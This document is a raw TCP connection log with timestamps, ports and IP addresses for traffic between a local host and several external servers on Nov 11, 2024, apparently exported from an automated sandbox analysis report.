                                                                                                                                                                                                          Nov 11, 2024 18:13:45.860331059 CET59138443192.168.2.6188.114.97.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:45.860343933 CET44359138188.114.97.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:45.868124962 CET59137443192.168.2.675.2.71.199
                                                                                                                                                                                                          Nov 11, 2024 18:13:45.868144989 CET4435913775.2.71.199192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:45.868472099 CET4435913775.2.71.199192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:45.868532896 CET59137443192.168.2.675.2.71.199
                                                                                                                                                                                                          Nov 11, 2024 18:13:45.870539904 CET59137443192.168.2.675.2.71.199
                                                                                                                                                                                                          Nov 11, 2024 18:13:45.911339998 CET4435913775.2.71.199192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:46.072719097 CET5913980192.168.2.6199.191.50.83
                                                                                                                                                                                                          Nov 11, 2024 18:13:46.073378086 CET5051880192.168.2.644.221.84.105
                                                                                                                                                                                                          Nov 11, 2024 18:13:46.074004889 CET5051780192.168.2.6199.59.243.227
                                                                                                                                                                                                          Nov 11, 2024 18:13:46.074079037 CET5051780192.168.2.6199.59.243.227
                                                                                                                                                                                                          Nov 11, 2024 18:13:46.075562954 CET5052080192.168.2.644.221.84.105
                                                                                                                                                                                                          Nov 11, 2024 18:13:46.078238010 CET8059139199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:46.078315020 CET5913980192.168.2.6199.191.50.83
                                                                                                                                                                                                          Nov 11, 2024 18:13:46.078556061 CET805051844.221.84.105192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:46.081003904 CET805052044.221.84.105192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:46.089176893 CET5913980192.168.2.6199.191.50.83
                                                                                                                                                                                                          Nov 11, 2024 18:13:46.089380980 CET5051580192.168.2.63.94.10.34
                                                                                                                                                                                                          Nov 11, 2024 18:13:46.094084978 CET8059139199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:46.094518900 CET80505153.94.10.34192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:46.114676952 CET5052180192.168.2.623.253.46.64
                                                                                                                                                                                                          Nov 11, 2024 18:13:46.114787102 CET5052180192.168.2.623.253.46.64
                                                                                                                                                                                                          Nov 11, 2024 18:13:46.127664089 CET5052580192.168.2.618.208.156.248
                                                                                                                                                                                                          Nov 11, 2024 18:13:46.129441977 CET5914080192.168.2.685.17.31.82
                                                                                                                                                                                                          Nov 11, 2024 18:13:46.132658958 CET805052518.208.156.248192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:46.134418011 CET805914085.17.31.82192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:46.134481907 CET5914080192.168.2.685.17.31.82
                                                                                                                                                                                                          Nov 11, 2024 18:13:46.136781931 CET5914080192.168.2.685.17.31.82
                                                                                                                                                                                                          Nov 11, 2024 18:13:46.141558886 CET805914085.17.31.82192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:46.150275946 CET4435913775.2.71.199192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:46.150317907 CET4435913775.2.71.199192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:46.150379896 CET59137443192.168.2.675.2.71.199
                                                                                                                                                                                                          Nov 11, 2024 18:13:46.150398970 CET4435913775.2.71.199192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:46.150409937 CET4435913775.2.71.199192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:46.150445938 CET59137443192.168.2.675.2.71.199
                                                                                                                                                                                                          Nov 11, 2024 18:13:46.150450945 CET4435913775.2.71.199192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:46.150471926 CET4435913775.2.71.199192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:46.150490999 CET59137443192.168.2.675.2.71.199
                                                                                                                                                                                                          Nov 11, 2024 18:13:46.150494099 CET4435913775.2.71.199192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:46.150521040 CET59137443192.168.2.675.2.71.199
                                                                                                                                                                                                          Nov 11, 2024 18:13:46.150546074 CET59137443192.168.2.675.2.71.199
                                                                                                                                                                                                          Nov 11, 2024 18:13:46.232350111 CET4435913775.2.71.199192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:46.232434988 CET59137443192.168.2.675.2.71.199
                                                                                                                                                                                                          Nov 11, 2024 18:13:46.232717037 CET4435913775.2.71.199192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:46.232779026 CET59137443192.168.2.675.2.71.199
                                                                                                                                                                                                          Nov 11, 2024 18:13:46.234366894 CET4435913775.2.71.199192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:46.234375000 CET4435913775.2.71.199192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:46.234400988 CET4435913775.2.71.199192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:46.234446049 CET59137443192.168.2.675.2.71.199
                                                                                                                                                                                                          Nov 11, 2024 18:13:46.234460115 CET4435913775.2.71.199192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:46.234471083 CET59137443192.168.2.675.2.71.199
                                                                                                                                                                                                          Nov 11, 2024 18:13:46.234513998 CET59137443192.168.2.675.2.71.199
                                                                                                                                                                                                          Nov 11, 2024 18:13:46.235013962 CET4435913775.2.71.199192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:46.235060930 CET59137443192.168.2.675.2.71.199
                                                                                                                                                                                                          Nov 11, 2024 18:13:46.295751095 CET44359138188.114.97.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:46.295829058 CET59138443192.168.2.6188.114.97.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:46.320310116 CET4435913775.2.71.199192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:46.320353031 CET4435913775.2.71.199192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:46.320398092 CET59137443192.168.2.675.2.71.199
                                                                                                                                                                                                          Nov 11, 2024 18:13:46.320420980 CET4435913775.2.71.199192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:46.320437908 CET59137443192.168.2.675.2.71.199
                                                                                                                                                                                                          Nov 11, 2024 18:13:46.320576906 CET59137443192.168.2.675.2.71.199
                                                                                                                                                                                                          Nov 11, 2024 18:13:46.320729017 CET4435913775.2.71.199192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:46.320760012 CET4435913775.2.71.199192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:46.320779085 CET59137443192.168.2.675.2.71.199
                                                                                                                                                                                                          Nov 11, 2024 18:13:46.320782900 CET4435913775.2.71.199192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:46.320810080 CET59137443192.168.2.675.2.71.199
                                                                                                                                                                                                          Nov 11, 2024 18:13:46.320822001 CET59137443192.168.2.675.2.71.199
                                                                                                                                                                                                          Nov 11, 2024 18:13:46.320825100 CET4435913775.2.71.199192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:46.320839882 CET4435913775.2.71.199192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:46.320879936 CET59137443192.168.2.675.2.71.199
                                                                                                                                                                                                          Nov 11, 2024 18:13:46.654476881 CET805914085.17.31.82192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:46.654537916 CET5914080192.168.2.685.17.31.82
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.454432964 CET8063478199.59.243.227192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.454493046 CET6347880192.168.2.6199.59.243.227
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.622538090 CET5914380192.168.2.644.221.84.105
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.622946978 CET5914480192.168.2.6199.59.243.227
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.627450943 CET805914344.221.84.105192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.627515078 CET5914380192.168.2.644.221.84.105
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.627698898 CET8059144199.59.243.227192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.627760887 CET5914480192.168.2.6199.59.243.227
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.630422115 CET5914580192.168.2.623.253.46.64
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.631726980 CET5914680192.168.2.6188.114.97.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.632065058 CET5914780192.168.2.6154.212.231.82
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.632685900 CET5914880192.168.2.644.221.84.105
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.634289026 CET5914480192.168.2.6199.59.243.227
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.635447979 CET805914523.253.46.64192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.635814905 CET5914580192.168.2.623.253.46.64
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.636560917 CET8059146188.114.97.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.636625051 CET5914680192.168.2.6188.114.97.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.636934996 CET8059147154.212.231.82192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.636989117 CET5914780192.168.2.6154.212.231.82
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.637501955 CET805914844.221.84.105192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.638308048 CET5914780192.168.2.6154.212.231.82
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.638314962 CET5914880192.168.2.644.221.84.105
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.638638020 CET5914880192.168.2.644.221.84.105
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.639293909 CET8059144199.59.243.227192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.639712095 CET5914680192.168.2.6188.114.97.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.640121937 CET5914580192.168.2.623.253.46.64
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.640886068 CET5914980192.168.2.675.2.71.199
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.643351078 CET8059147154.212.231.82192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.643907070 CET805914844.221.84.105192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.644845009 CET8059146188.114.97.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.645276070 CET805914523.253.46.64192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.646076918 CET805914975.2.71.199192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.646668911 CET5914980192.168.2.675.2.71.199
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.646869898 CET5914980192.168.2.675.2.71.199
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.652728081 CET805914975.2.71.199192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.659254074 CET5914380192.168.2.644.221.84.105
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.659404993 CET5915080192.168.2.6208.100.26.245
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.665047884 CET805914344.221.84.105192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.665349007 CET8059150208.100.26.245192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.666686058 CET5915080192.168.2.6208.100.26.245
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.667139053 CET5915080192.168.2.6208.100.26.245
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.672833920 CET8059150208.100.26.245192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.094137907 CET8059144199.59.243.227192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.094166994 CET8059144199.59.243.227192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.094253063 CET5914480192.168.2.6199.59.243.227
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.094588041 CET805914344.221.84.105192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.095720053 CET805914844.221.84.105192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.095789909 CET5914880192.168.2.644.221.84.105
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.095866919 CET5914380192.168.2.644.221.84.105
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.096736908 CET805914975.2.71.199192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.096801996 CET5914980192.168.2.675.2.71.199
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.101782084 CET805914344.221.84.105192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.102817059 CET805914975.2.71.199192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.102885008 CET5914980192.168.2.675.2.71.199
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.103019953 CET805914844.221.84.105192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.103066921 CET5914880192.168.2.644.221.84.105
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.103336096 CET5914380192.168.2.644.221.84.105
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.120119095 CET8059150208.100.26.245192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.122313976 CET805914523.253.46.64192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.122374058 CET805914523.253.46.64192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.122409105 CET5915080192.168.2.6208.100.26.245
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.122414112 CET5914580192.168.2.623.253.46.64
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.122467995 CET5914580192.168.2.623.253.46.64
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.298973083 CET8059139199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.298988104 CET8059139199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.299021006 CET8059139199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.299047947 CET5913980192.168.2.6199.191.50.83
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.299072027 CET8059139199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.299084902 CET8059139199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.299091101 CET5913980192.168.2.6199.191.50.83
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.299119949 CET5913980192.168.2.6199.191.50.83
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.299128056 CET5913980192.168.2.6199.191.50.83
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.299135923 CET8059139199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.299149036 CET8059139199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.299175978 CET5913980192.168.2.6199.191.50.83
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.299190998 CET5913980192.168.2.6199.191.50.83
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.299194098 CET8059139199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.299206018 CET8059139199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.299242973 CET5913980192.168.2.6199.191.50.83
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.300898075 CET8059139199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.300944090 CET5913980192.168.2.6199.191.50.83
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.304662943 CET8059139199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.304689884 CET8059139199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.304721117 CET5913980192.168.2.6199.191.50.83
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.304723978 CET8059139199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.304744959 CET5913980192.168.2.6199.191.50.83
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.304860115 CET5913980192.168.2.6199.191.50.83
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.353534937 CET8059146188.114.97.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.356584072 CET5914680192.168.2.6188.114.97.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.380358934 CET8059139199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.380378008 CET8059139199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.380436897 CET8059139199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.380438089 CET5913980192.168.2.6199.191.50.83
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.380451918 CET8059139199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.380465984 CET8059139199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.380480051 CET8059139199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.380491972 CET8059139199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.380495071 CET5913980192.168.2.6199.191.50.83
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.380516052 CET5913980192.168.2.6199.191.50.83
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.380543947 CET5913980192.168.2.6199.191.50.83
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.381200075 CET8059139199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.381263971 CET5913980192.168.2.6199.191.50.83
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.381292105 CET8059139199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.381402016 CET8059139199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.381417036 CET8059139199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.381432056 CET8059139199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.381444931 CET8059139199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.381468058 CET5913980192.168.2.6199.191.50.83
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.381500959 CET5913980192.168.2.6199.191.50.83
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.381999016 CET8059139199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.382026911 CET8059139199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.382040024 CET8059139199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.382074118 CET5913980192.168.2.6199.191.50.83
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.382085085 CET8059139199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.382098913 CET8059139199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.382105112 CET5913980192.168.2.6199.191.50.83
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.382132053 CET5913980192.168.2.6199.191.50.83
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.382143974 CET5913980192.168.2.6199.191.50.83
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.382934093 CET8059139199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.382947922 CET8059139199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.382958889 CET8059139199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.382988930 CET8059139199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.382998943 CET5913980192.168.2.6199.191.50.83
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.383003950 CET8059139199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.383044958 CET5913980192.168.2.6199.191.50.83
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.385339975 CET8059139199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.388845921 CET5913980192.168.2.6199.191.50.83
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.428199053 CET8059139199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.428216934 CET8059139199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.428231955 CET8059139199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.428337097 CET5913980192.168.2.6199.191.50.83
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.428337097 CET5913980192.168.2.6199.191.50.83
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.461577892 CET8059139199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.461610079 CET8059139199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.461636066 CET5913980192.168.2.6199.191.50.83
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.461653948 CET5913980192.168.2.6199.191.50.83
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.550821066 CET8059147154.212.231.82192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.550900936 CET5914780192.168.2.6154.212.231.82
                                                                                                                                                                                                          Nov 11, 2024 18:13:49.816066980 CET5915380192.168.2.685.17.31.82
                                                                                                                                                                                                          Nov 11, 2024 18:13:49.817688942 CET5915480192.168.2.6188.114.97.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:49.817814112 CET5915580192.168.2.6199.59.243.227
                                                                                                                                                                                                          Nov 11, 2024 18:13:49.821073055 CET805915385.17.31.82192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:49.821315050 CET5915380192.168.2.685.17.31.82
                                                                                                                                                                                                          Nov 11, 2024 18:13:49.821949005 CET5915680192.168.2.675.2.71.199
                                                                                                                                                                                                          Nov 11, 2024 18:13:49.822135925 CET5915380192.168.2.685.17.31.82
                                                                                                                                                                                                          Nov 11, 2024 18:13:49.822499990 CET8059154188.114.97.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:49.822550058 CET5915480192.168.2.6188.114.97.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:49.822596073 CET5915480192.168.2.6188.114.97.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:49.822614908 CET8059155199.59.243.227192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:49.822779894 CET5915580192.168.2.6199.59.243.227
                                                                                                                                                                                                          Nov 11, 2024 18:13:49.822824955 CET5915580192.168.2.6199.59.243.227
                                                                                                                                                                                                          Nov 11, 2024 18:13:49.826785088 CET805915675.2.71.199192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:49.826910019 CET805915385.17.31.82192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:49.826975107 CET5915680192.168.2.675.2.71.199
                                                                                                                                                                                                          Nov 11, 2024 18:13:49.827094078 CET5915680192.168.2.675.2.71.199
                                                                                                                                                                                                          Nov 11, 2024 18:13:49.827646971 CET8059154188.114.97.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:49.827702045 CET8059155199.59.243.227192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:49.832063913 CET805915675.2.71.199192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:49.834146023 CET5915780192.168.2.6199.191.50.83
                                                                                                                                                                                                          Nov 11, 2024 18:13:49.839118004 CET8059157199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:49.839238882 CET5915780192.168.2.6199.191.50.83
                                                                                                                                                                                                          Nov 11, 2024 18:13:49.839425087 CET5915780192.168.2.6199.191.50.83
                                                                                                                                                                                                          Nov 11, 2024 18:13:49.844233990 CET8059157199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:49.981236935 CET5915880192.168.2.618.208.156.248
                                                                                                                                                                                                          Nov 11, 2024 18:13:49.981527090 CET5915980192.168.2.644.221.84.105
                                                                                                                                                                                                          Nov 11, 2024 18:13:49.981817961 CET5916080192.168.2.644.221.84.105
                                                                                                                                                                                                          Nov 11, 2024 18:13:49.981965065 CET5916180192.168.2.63.94.10.34
                                                                                                                                                                                                          Nov 11, 2024 18:13:49.986155033 CET805915818.208.156.248192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:49.986223936 CET5915880192.168.2.618.208.156.248
                                                                                                                                                                                                          Nov 11, 2024 18:13:49.986304045 CET805915944.221.84.105192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:49.986351013 CET5915980192.168.2.644.221.84.105
                                                                                                                                                                                                          Nov 11, 2024 18:13:49.986660004 CET5915980192.168.2.644.221.84.105
                                                                                                                                                                                                          Nov 11, 2024 18:13:49.986871004 CET805916044.221.84.105192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:49.987008095 CET5916080192.168.2.644.221.84.105
                                                                                                                                                                                                          Nov 11, 2024 18:13:49.988763094 CET80591613.94.10.34192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:49.988827944 CET5916180192.168.2.63.94.10.34
                                                                                                                                                                                                          Nov 11, 2024 18:13:49.991729021 CET805915944.221.84.105192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:49.992758989 CET5916180192.168.2.63.94.10.34
                                                                                                                                                                                                          Nov 11, 2024 18:13:49.998791933 CET80591613.94.10.34192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:50.232692003 CET805915385.17.31.82192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:50.233855009 CET5915380192.168.2.685.17.31.82
                                                                                                                                                                                                          Nov 11, 2024 18:13:50.251158953 CET8059155199.59.243.227192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:50.251180887 CET8059155199.59.243.227192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:50.251240015 CET5915580192.168.2.6199.59.243.227
                                                                                                                                                                                                          Nov 11, 2024 18:13:50.256191015 CET805915675.2.71.199192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:50.256494045 CET5915680192.168.2.675.2.71.199
                                                                                                                                                                                                          Nov 11, 2024 18:13:50.263922930 CET805915675.2.71.199192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:50.263988972 CET5915680192.168.2.675.2.71.199
                                                                                                                                                                                                          Nov 11, 2024 18:13:50.267966986 CET5915680192.168.2.675.2.71.199
                                                                                                                                                                                                          Nov 11, 2024 18:13:50.273396015 CET805915675.2.71.199192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:50.417131901 CET805915944.221.84.105192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:50.418085098 CET80591613.94.10.34192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:50.418150902 CET5915980192.168.2.644.221.84.105
                                                                                                                                                                                                          Nov 11, 2024 18:13:50.418617010 CET5916180192.168.2.63.94.10.34
                                                                                                                                                                                                          Nov 11, 2024 18:13:50.424524069 CET805915944.221.84.105192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:50.424596071 CET5915980192.168.2.644.221.84.105
                                                                                                                                                                                                          Nov 11, 2024 18:13:50.425657034 CET80591613.94.10.34192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:50.425760031 CET5916180192.168.2.63.94.10.34
                                                                                                                                                                                                          Nov 11, 2024 18:13:50.502840042 CET8059154188.114.97.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:50.502916098 CET5915480192.168.2.6188.114.97.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:51.286067963 CET8063518199.59.243.227192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:51.286161900 CET6351880192.168.2.6199.59.243.227
                                                                                                                                                                                                          Nov 11, 2024 18:13:51.433240891 CET8059157199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:51.433345079 CET8059157199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:51.433346987 CET5915780192.168.2.6199.191.50.83
                                                                                                                                                                                                          Nov 11, 2024 18:13:51.433357954 CET8059157199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:51.433372021 CET8059157199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:51.433383942 CET8059157199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:51.433398962 CET8059157199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:51.433403969 CET5915780192.168.2.6199.191.50.83
                                                                                                                                                                                                          Nov 11, 2024 18:13:51.433410883 CET8059157199.191.50.83192.168.2.6
